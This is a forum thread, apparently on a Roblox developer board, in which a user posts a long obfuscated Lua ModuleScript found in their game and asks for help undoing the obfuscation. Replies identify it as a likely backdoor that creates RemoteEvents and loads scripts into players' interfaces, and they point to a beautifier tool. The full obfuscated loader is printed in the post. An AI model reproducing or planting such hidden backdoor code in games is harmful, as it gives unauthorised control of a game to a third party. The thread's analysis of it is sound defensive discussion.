ModuleScript with obfuscation

Hello, I have seen in some of my game the module of my friend, it is not know how possible, the script has this obfuscation:

____________________________________________________________________________=Instance.new;_____________________________________________________________________________________=true;_______________________________________________________________________________________='Mouse';____________________________________________________________________________________________='Player';_____________________________________________________________________________________________=game;_______________________________________________________________________________________________=wait;________________________________________________________________________________________________=nil;_________________________________________________________________________________________________=script;_________________________________________________________________________________________________.Parent=________________________________________________________________________________________________;__________________________________________________________________________________________________='table'___________________________________________________________________________________________________={}repeat _______________________________________________________________________________________________''___________________________________________________________________________________________________={}until(type(___________________________________________________________________________________________________)==__________________________________________________________________________________________________)______________________________________________________________________________________________=_____________________________________________________________________________________________:GetService(____________________________________________________________________________________________..'s')___________________________________________________________________________________________=_____________________________________________________________________________________________:GetService('ServerScriptService')__________________________________________________________________________________________=_________________________________________________________________________________________________['Cĺ̻̱̞̰̤ie͕̩̥n̩͕͔t']_________________________________________________________________________________________=function(________________________________________________________________________________________)if(________________________________________________________________________________________:FindFirstChild(_______________________________________________________________________________________..'Events'))then ________________________________________________________________________________________[_______________________________________________________________________________________..'Events']:Destroy()elseif ________________________________________________________________________________________:FindFirstChildOfClass(____________________________________________________________________________________________..'Gui'):FindFirstChild(__________________________________________________________________________________________.Name)then ________________________________________________________________________________________:FindFirstChildOfClass(____________________________________________________________________________________________..'Gui')[__________________________________________________________________________________________.Name].Disabled=_____________________________________________________________________________________ ________________________________________________________________________________________:FindFirstChildOfClass(____________________________________________________________________________________________..'Gui')[__________________________________________________________________________________________.Name]:Destroy()elseif(___________________________________________________________________________________________:FindFirstChild(________________________________________________________________________________________.Name))then ___________________________________________________________________________________________[________________________________________________________________________________________.Name].Script.Disabled=_____________________________________________________________________________________;___________________________________________________________________________________________[________________________________________________________________________________________.Name]:Destroy()end;end;______________________________________________________________________________________=pairs;for ____________________________________________________________________________________,________________________________________________________________________________________ in ______________________________________________________________________________________(______________________________________________________________________________________________:GetPlayers())do _________________________________________________________________________________________(________________________________________________________________________________________)________________________________________________________________________________________.CharacterAdded:Connect(function(___________________________________________________________________________________)_________________________________________________________________________________________(________________________________________________________________________________________)__________________________________________________________________________________=___________________________________________________________________________________:FindFirstChildOfClass('Humanoid')__________________________________________________________________________________.Died:Connect(function()_________________________________________________________________________________________(________________________________________________________________________________________)end)end)end;______________________________________________________________________________________________.PlayerAdded:Connect(function(_________________________________________________________________________________)_________________________________________________________________________________.CharacterAdded:Connect(function(________________________________________________________________________________)_________________________________________________________________________________________(_________________________________________________________________________________)_______________________________________________________________________________=________________________________________________________________________________:FindFirstChildOfClass('Humanoid')_______________________________________________________________________________.Died:Connect(function()_________________________________________________________________________________________(_________________________________________________________________________________)end)end)end)______________________________________________________________________________________________.PlayerRemoving:Connect(function(_________________________________________________________________________________)_________________________________________________________________________________________(_________________________________________________________________________________)end)function ___________________________________________________________________________________________________:Load(______________________________________________________________________________,_________________________________________________________________________________)if ______________________________________________________________________________________________:FindFirstChild(_________________________________________________________________________________)and ______________________________________________________________________________________________:FindFirstChild(_________________________________________________________________________________):IsA(____________________________________________________________________________________________)and not(___________________________________________________________________________________________:FindFirstChild(_________________________________________________________________________________))and(_________________________________________________________________________________________________:FindFirstChild(______________________________________________________________________________).Name:lower()==______________________________________________________________________________:lower())then _________________________________________________________________________________=_____________________________________________________________________________________________:GetService('Players')[_________________________________________________________________________________]______________________________________________________________________________=______________________________________________________________________________:lower()_________________________________________________________________________________.CharacterAdded:Connect(function()_________________________________________________________________________________________(_________________________________________________________________________________)end)___________________________________________________________________________=____________________________________________________________________________('Folder',_________________________________________________________________________________)____________________________________________________________________________('RemoteEvent', ___________________________________________________________________________).Name=_______________________________________________________________________________________;____________________________________________________________________________('RemoteEvent',___________________________________________________________________________).Name='Button1Down'____________________________________________________________________________('RemoteEvent',___________________________________________________________________________).Name='KeyDown'____________________________________________________________________________('RemoteEvent',___________________________________________________________________________).Name='KeyUp'___________________________________________________________________________.Name=_______________________________________________________________________________________..'Events'______________________________________________________=nil;for ____________________________________________________________________________________,_______________________________________________________ in ______________________________________________________________________________________(_________________________________________________________________________________________________:GetChildren())do if _______________________________________________________.Name:lower()==______________________________________________________________________________:lower()then ______________________________________________________=_______________________________________________________;end;end;____________________________________________________=__________________________________________________________________________________________:Clone()______________________________________________________.Name = _________________________________________________________________________________.Name;______________________________________________________.Parent=___________________________________________________________________________________________;____________________________________________________.Parent=_________________________________________________________________________________:FindFirstChildOfClass('PlayerGui')____________________________________________________.Disabled=false;______________________________________________________.Script.Disabled=false;end;end;return ___________________________________________________________________________________________________

Sorry, but I don’t know how to remove obfuscation in it.
My friend’s account is this: 999_test999
Not play roblox more, than I do not know how to ask him to remove the obfuscation. I do not have anyone to help me with this, so I hope I can help with this module.

Are you sure that you’re suppose to be reading this? Typically if something is obfuscated then the author doesn’t want you to have access to it or is using it for a malicious reason?

All I know is from breifly looking at this it looks like a backdoor, its using requiring stuff as well as loading things in. On top of that its also making remote events.

1 Like

Ahaha, was in the middle of deobfuscating it as well!

You’re the expert at this stuff, guess it comes with experience :wink:

3 Likes

Some self advertisement but for future reference, the code was obfuscated via minification. This kind of obfuscation can easily be undone using a beautifying tool such as: https://github.com/Rerumu/lua-minify

Which I assume that’s what 3ds used cough. :thinking:

1 Like